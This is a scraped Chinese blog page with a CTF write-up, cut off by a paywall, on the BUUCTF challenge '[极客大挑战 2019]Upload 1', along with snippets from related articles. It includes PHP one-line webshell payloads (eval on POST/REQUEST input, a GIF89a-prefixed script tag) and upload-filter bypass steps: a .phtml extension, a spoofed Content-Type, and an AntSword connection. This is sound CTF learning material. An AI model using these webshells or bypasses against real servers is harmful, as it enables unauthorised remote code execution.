[极客大挑战 2019]Upload 1(文件上传)

最新推荐文章于 2023-04-29 19:22:54 发布
最新推荐文章于 2023-04-29 19:22:54 发布
阅读量1.5w 收藏 60
点赞数 25
分类专栏： BUUCTF-WEB 文章标签： flag php 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45253573/article/details/110867160
版权
博客讲述了如何通过修改文件格式绕过上传限制，使用PHTML文件上传一句话木马，并利用蚁剑成功连接服务器，最终找到flag的过程。重点涉及文件上传、内容类型篡改和网络安全。
摘要由CSDN通过智能技术生成

打开环境是一个上传图片的页面。
在这里插入图片描述
先上传一句话木马试试，这里格式直接不变，先上传看看。

<?php eval($_POST['b'])?>
<?php $_GET['a']($_POST[
最低0.47元/天 解锁文章
哇gg
关注
专栏目录
[极客大挑战 2019]Upload 1做题记录
qq_45832949的博客
03-19 1281
进入题目链接，首先看到的是需要我们上传一个文件。 并且题目是upload，说明是要我们利用文件上传漏洞来获取flag。 我们首先创建一个文本文件，写上我们的一句话木马（eval($_POST[‘cmd’]????），目的是之后用工具查看网页后端文件。 试着上传phtml发现并没有上传成功，说明网页对前端检测 然后我们修改文件后缀名为xx.jpg再试着上传一次也没有成功，说明网页也有后端检测 最后尝试在一句话木马前加上gif的文件头 上传成功 然后重新上传，用bp进行抓包，修改上传文件的类型为phtml，只
极客大挑战 2019 Upload 1
qq_52715164的博客
04-20 2538
还是文件上传得题，上传有一句话木马写的且改后缀为jpg得文件，会出现提示说文件包含`<?传不了，所以修改木马为： GIF89a? <script language="php">eval($_REQUEST[123])</script> 打开burp，抓包修改文件后缀， 发现php上传不了， 常规文件后缀为： php2, php3, php4, php5, phps, pht, phtm, phtml 这里修改后缀为：phtml可正常上传 但上传后没有返回图片保存地址，一般上
[极客大挑战 2019]Upload 1
徐海洋
02-02 704
[极客大挑战 2019]Upload 1
Web-[极客大挑战 2019] Upload1
汗的博客
05-21 1113
文章目录[极客大挑战 2019]Upload1 [极客大挑战 2019]Upload1 shell名she.phtml 内容 GIF98a <script language="php">eval($_POST['cmd']);</script> burp抓包Content-Type: image/jpeg 在upload/目录下，访问页面，蚁剑连接，cat /flag ...
[极客大挑战 2019]Upload1
weixin_63289925的博客
04-13 2619
题目提示要上传图片，先上传普通的一句话木马试试，发现得到都是No image 上传常见的图片木马 GIF89a <script language='php'>@eval($_REQUEST[a]);</script> 用bp抓包，把文件后缀名改为test.phtml 因为发现后缀.php,.php2,.php3,.php4,.php5,.php6,.php7都不能显示上传成功，所以可能都被过滤了，只有.phtml可以 使用蚁剑连接，猜测保存在upload下面...
BUUCTF-Web:[极客大挑战 2019]Upload
m0_56161093的博客
05-29 902
题目 解题过程 1、上传文件 从网页上来看是上传一个图片文件，但我们不知道他的检查上传的文件，所以可以试一试上传各种文件。一般检查文件的地方有：后缀名、content-type、文件头的部分内容。 这里我们先上传一个php文件,不做任何修改。如下图： 结果如下： 2、修改文件后缀名和content-type 将文件名修改为test.phtml，绕过常规php文件后缀检测 将文件类型修改为：image/jpeg 注意：phtml一般是指嵌入了php代码的html文件，但是同样也会作为php解析 修
BUUCTF-Web-[极客大挑战 2019]Upload
weixin_67813445的博客
04-29 960
,所以考虑修改为JS风格的代码标记，修改完之后发送，页面如下图所示，Don’t lie to me,it’s not image at all!用burpsuite进行抓包，修改MIME类型, 即将Content-Type修改为image/jpeg,修改之后页面如下图所示，显示NOT!将文件后缀名改为php的其他扩展名，页面如下图所示，检测文件内容中包含了’<?上传一个php文件，此处上传shell.php后页面如下图所示，显示不是图片。将文件后缀改为jpg，页面如下图所示，文件类型符合要求，但。
【BUUCTF-Web】[极客大挑战 2019]Upload
weixin_49298681的博客
01-05 1113
Upload=> 文件上传漏洞。
(文件上传upload) [极客大挑战 2019]Upload1 和 [ACTF2020新生赛]Upload1
热门推荐
一醉一休的博客
02-23 1万+
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录 前言 一、pandas是什么？ 二、使用步骤 1.引入库 2.读入数据 总结 前言 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。 由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。 一、[极客大挑战 2019]Upload1 ...
[极客大挑战 2019]Upload
Knsec
05-18 328
[极客大挑战 2019]Upload
BUUCTF-[极客大挑战 2019]Upload1
Monica的博客
09-14 2009
题目： 分析： 一个文件上传漏洞 上传一个1.php文件内容为：<?php eval($_POST[1]);?> 发现报错。 查看源代码，没有关于过滤的代码，说明是后端进行的过滤。 bp抓包：修改MIME 报错说不能是php文件、绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 发现只要phtml文件可以使用，修改后缀为phtml phtml一般是指嵌入了php代码的html文件，但是同样也会作为php解析 PHT文件是一个HTM.
极客大挑战 2019]LoveSQL 1
最新发布
08-24
LoveSQL 1是极客大挑战2019的一个题目，它是一个关于 SQL 查询语言的挑战。具体来说，LoveSQL 1要求参赛者编写一个 SQL 查询，从给定的表中获取满足特定条件的数据。这个挑战旨在考察参赛者对 SQL 语法和查询的理解能力。 参赛者需要根据题目要求，在给定的表中使用合适的 SQL 查询语句，筛选出满足条件的数据，并将查询结果返回。 注意：LoveSQL 1是极客大挑战2019中的一个具体题目，与其他题目无关。
评论 8
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值